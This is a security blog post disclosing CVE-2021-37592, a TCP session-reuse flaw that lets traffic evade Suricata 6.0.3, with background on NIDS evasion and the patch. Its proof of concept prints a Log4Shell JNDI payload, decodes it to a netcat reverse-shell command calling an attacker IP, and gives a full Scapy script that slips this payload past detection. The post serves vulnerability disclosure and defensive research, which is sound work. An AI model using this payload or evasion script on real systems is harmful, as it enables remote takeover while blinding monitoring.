14/09/2022
Blog technique
CVE-2021-37592 PoC: Eluding Suricata 6.0.3
Fratso
This article starts with a quick overview on NIDS (Network Intrusion Detection System) evasions to remind what it is and why it could happen. Then it describes the complexity to implement a TCP/IP network stack and its impact on passive attacks detection. It ends with a PoC of the CVE-2021-37592 that I found on my free time while doing some fuzzing on TCP.
Introduction
NIDS evasions overview
Evasion on Network Intrusion Detection System (NIDS) are far from new, they were first introduced by Ptacek & Newsham[¹] in 1998.
For those who do not see what an evasion could be, here is a basic example showing an overlapping attack:
TCP fragments overlapping example
The attacker crafts a series of packets with TCP sequence numbers configured to overlap. Here, two fragments, T
and K
have the same sequence number. When the target computer reassembles the stream, they must decide how to handle the overlapping fragments. Some operating systems will take the older data, and some will take the newer data. If the NIDS doesn’t reassemble the TCP in the same way as the target, it can be manipulated into either missing a portion of the attack payload or seeing benign data inserted into the malicious payload, breaking the attack signature[²].
Depending on the implementation, the string could be whether ATTACK
or AKTACK
. Here, the NIDS consider only the string AKTACK
, but the server only understands ATTACK
which is a vulnerability that the attacker can exploit to send the string ATTACK
without being detected by this NIDS.
Several techniques are well known to evade NIDS but I will not discuss about them in this article.
Keep in mind that NIDS evasion could be found on several OSI Layers. Best known evasions have been found on the following layers: – L3; – L4; – L7.
Note that if some evasions were found on L3, they could possibly evade upper layers L4 to L7. Just like an evasion found on L4 could also evade upper layers.
Quick reminders about TCP complexity
L3/L4 are also known as the TCP/IP layers. TCP is ruled by RFC 793
This RFC defined 11 different states for TCP which are described here:
- LISTEN – represents waiting for a connection request from any remote TCP and port;
- SYN-SENT – Represents waiting for a matching connection request after having sent a connection request;
- SYN-RECEIVED – Represents waiting for a confirming connection request acknowledgment after having both received and sent a connection request;
- ESTABLISHED – Represents an open connection, data received can be delivered to the user. The normal state for the data transfer phase of the connection;
- FIN-WAIT-1 – Represents waiting for a connection termination request from the remote TCP, or an acknowledgment of the connection termination request previously sent;
- FIN-WAIT-2 – Represents waiting for a connection termination request from the remote TCP;
- CLOSE-WAIT – Represents waiting for a connection termination request from the local user;
- CLOSING – Represents waiting for a connection termination request acknowledgment from the remote TCP;
- LAST-ACK – Represents waiting for an acknowledgment of the connection termination request previously sent to the remote TCP (which includes an acknowledgment of its connection termination request);
- TIME-WAIT – Represents waiting for enough time to pass to be sure the remote TCP received the acknowledgment of its connection termination request;
- CLOSED – Represents no connection state at all.
Depending on which TCP segment to be sent or received, the current TCP state could not be as clear as mud. Here is a diagram showing a summary of TCP Connection States:
TCP state diagram, source
The diagram above shows what a TCP stack should conform to.
For a better understanding, the following diagram shows the different TCP states appearing in normal connection establishment and termination:
TCP states corresponding to normal connection establishment and termination. (source: flylib)
As a reminder, notice that the establishment of a communication (SYN, SYN-ACK, ACK) is commonly called Three-way Handshake (3WH).
The robustness principle is described inside RFC793: « be conservative in what you do, be liberal in what you accept from others. »[³] In other words, a TCP stack that sends messages to others should conform completely to the specifications, but a TCP stack that receives messages should accept non-conformant input as long as the meaning is clear.
However, also keep in mind that the user (mostly, the client) will always be free to send whatever TCP segment they want which could make things more complicated, i.e.: The diagram above does not show what would happen if a FIN
packet is received in SYN-RECEIVED
state. The complexity of this protocol makes it interesting for NIDS evasions.
CVE-2021-37592
Later, further fuzzing showed that adding a SYN
packet with a bad sequence number after the FIN, SYN, ACK
segment allowed to create an evasion against a Linux server.
In fact, Suricata consider this a session reuse, and thus use the sequence number of the last SYN
packet, instead of using the one of the live connection. This new SYN
segment with a wrong sequence number creates a desynchronization of the NIDS which does not follow the right connection, leading to evasion.
Nginx and Django appear to be vulnerable to this evasion, but for some reason, Apache adds a RST
packet which closes the communication.
This vulnerability had been found on my free time before I joined AMOSSYS. As I never wrote anything about it before I thought it would be interesting to make a little blog post. It had been reported the 2021-07-28 on Suricata security bug tracking[⁴]. It is applying on Suricata 6.0.3
and lower versions.
Suricata patched this vulnerability in version 6.0.4
by adding a fin_syn
stream event which is enough to detect the FIN, SYN, ACK
right after a TCP 3WH. By adding this detection, FIN, SYN
sequences won’t be processed as regular FIN
packets. The commit of this patch is now available at the following address: https://github.com/OISF/suricata/commit/6cb6225b28c5d8e616a420b7d05b129ba2845dc0.
PoC
For this PoC, we’re evading a well-known vulnerability called log4shell (CVE-2021-44228).
To detect this attack, the following Suricata rule[⁵] is used:
alert tcp any any -> $HOME_NET any (msg: "CrowdStrike CSA-211099 Log4Shell RCE Attempt (CVE-2021-44228) [CSA-211099]"; flow: from_client, established; content: "${jndi:ldap://"; classtype:web-application-attack; sid:8001895; rev:20211210; reference:url,falcon.crowdstrike.com/intelligence/reports/CSA-211099;)
This rule is saved inside the file PoC.rule, then Suricata is started like this: suricata -k none -v -S PoC.rule -i ens18
The following payload : curl 192.168.70.109:8080 -H 'X-Api-Version:
${jndi:ldap://192.168.70.123:1389/Basic/Command/Base64/cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI%2BJjF8bmMgMTkyLjE2OC43MC4xMjMgMTIzNCA%2BL3RtcC9m}'
Will execute the command:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.70.123 1234 >/tmp/f
To obtain a reverse shell on the server vulnerable to log4shell. However this payload will be detected by Suricata, here is a GIF showing the detection:
As we can see, on the window on the right, the attack has been detected by Suricata through this rule.
This evasion could be implemented in several ways. Here is a little script using Scapy to be able to send the same payload without being detected by the NIDS:
#!/usr/bin/python3
import sys
import random
import subprocess
from scapy.all import *
# Call
# sudo python3
"""
This script needs to be run as root because it blocks TCP kernel RST to communicate.
"""
if __name__ == "__main__":
# vars
src = sys.argv[1]
dst = sys.argv[2]
sport = random.randint(1024, 65535)
dport = int(sys.argv[3])
encoding = 'utf-8'
# Ugly hardcoded payload to send that the NIDS know how to detect.
encoded_dst = f"{dst}".encode(encoding)
encoded_dport = f"{dport}".encode(encoding)
payload = b"GET / HTTP/1.1"
payload += b"\r\nHost: %b:%b" % (encoded_dst, encoded_dport)
payload += b"\r\nX-Api-Version: ${jndi:ldap://192.168.70.123:1389/Basic/Command/Base64/cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI%2BJjF8bmMgMTkyLjE2OC43MC4xMjMgMTIzNCA%2BL3RtcC9m}"
payload += b"\r\n\r\n"
try:
# Block kernel packets from our Linux TCP/IP stack
# Otherwise the communication will be ended by our system TCP stack.
subprocess.call(
f"iptables -A OUTPUT -p tcp --dport {dport} --sport {sport} -m owner ! --uid-owner 0 -j DROP",
shell=True
)
"""
Basic communication initialization.
"""
# TCP 3WH
ip = IP(src=src, dst=dst)
SYN = TCP(sport=sport, dport=dport, flags='S', seq=1000)
SYNACK = sr1(ip/SYN)
ACK = TCP(sport=sport, dport=dport, flags='A', seq=SYNACK.ack, ack=SYNACK.seq+1)
send(ip/ACK)
"""
This is where the injection for CVE-2021-37592 is done.
"""
# Injecting FIN, SYN, ACK
FSA = TCP(sport=sport, dport=dport, flags='FSA', seq=SYNACK.ack, ack=SYNACK.seq+1)
send(ip/FSA)
# Injecting new SYN with wrong sequence number
whatever = SYNACK.seq+1234
SYN = TCP(sport=sport, dport=dport, flags='S', seq=whatever)
send(ip/SYN) # We shouldn't get answer here if evasion is applicable.
"""
Sending the payload without being detected if NIDS is vulnerable.
"""
req = TCP(sport=sport, dport=dport, seq=SYNACK.ack, ack=SYNACK.seq+1, flags="PA") / payload
sr1(ip/req)
finally:
# Remove this rule to avoid the mess
subprocess.call(
f"iptables -D OUTPUT -p tcp --dport {dport} --sport {sport} -m owner ! --uid-owner 0 -j DROP",
shell=True
)
Notes: We expect the target to send a ACK
to apply the evasion. If a RST
is sent, then another evasion technique has to be found. This PoC could be improved with nfqueue
to inject the bad segments automatically after every TCP handshake, allowing you to send whatever payloads independently to the script.
Let’s see the result:
As shown by the GIF, the log4shell payload isn’t detected this time because of the CVE-2021-37592 segments injection which desynchronizes the NIDS TCP/IP stack. The NIDS thinks that the TCP communication is ended and that the payload wasn’t interpreted by the server.
Conclusion
The point of this blog post was to show that it is still possible to find new NIDS evasion using known evasion techniques against NIDS. The given PoC script could be improved with nfqueue to automate the segments injection after each TCP 3WH, which can get handy in red team audit.
This CVE applies on Suricata 6.0.3 and Suricata 5.0.7. By now we should all be at least on a version such as 6.0.4 or higher or 5.0.8 or higher. If you are still on a version <=6.0.3 or <=5.0.8, we strongly advise you to upgrade your NIDS.
This evasion works against Linux TCP/IP stack and has been tested against applications such as Python3 http.server, Django and Nginx.
[¹]: « Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection » https://users.ece.cmu.edu/~adrian/731-sp04/readings/Ptacek-Newsham-ids98.pdf
[²]: T. Cheng, Y. Lin, Y. Lai and P. Lin, « Evasion Techniques: Sneaking through Your Intrusion Detection/Prevention Systems, » in IEEE Communications Surveys & Tutorials, vol. 14, no. 4, pp. 1011-1020, Fourth Quarter 2012, CiteSeerX 10.1.1.299.5703. doi: 10.1109/SURV.2011.092311.00082.
[³]: TCP Robustness Principle (from RFC793): https://datatracker.ietf.org/doc/html/rfc793#section-2.10
[⁴]: CVE-2021-37592 issue: https://redmine.openinfosecfoundation.org/issues/4569
[⁵]: Suricata rule developed by Crowdstrike to generate alerts for log4shell exploit attempt: https://www.crowdstrike.com/blog/log4j2-vulnerability-analysis-and-mitigation-recommendations/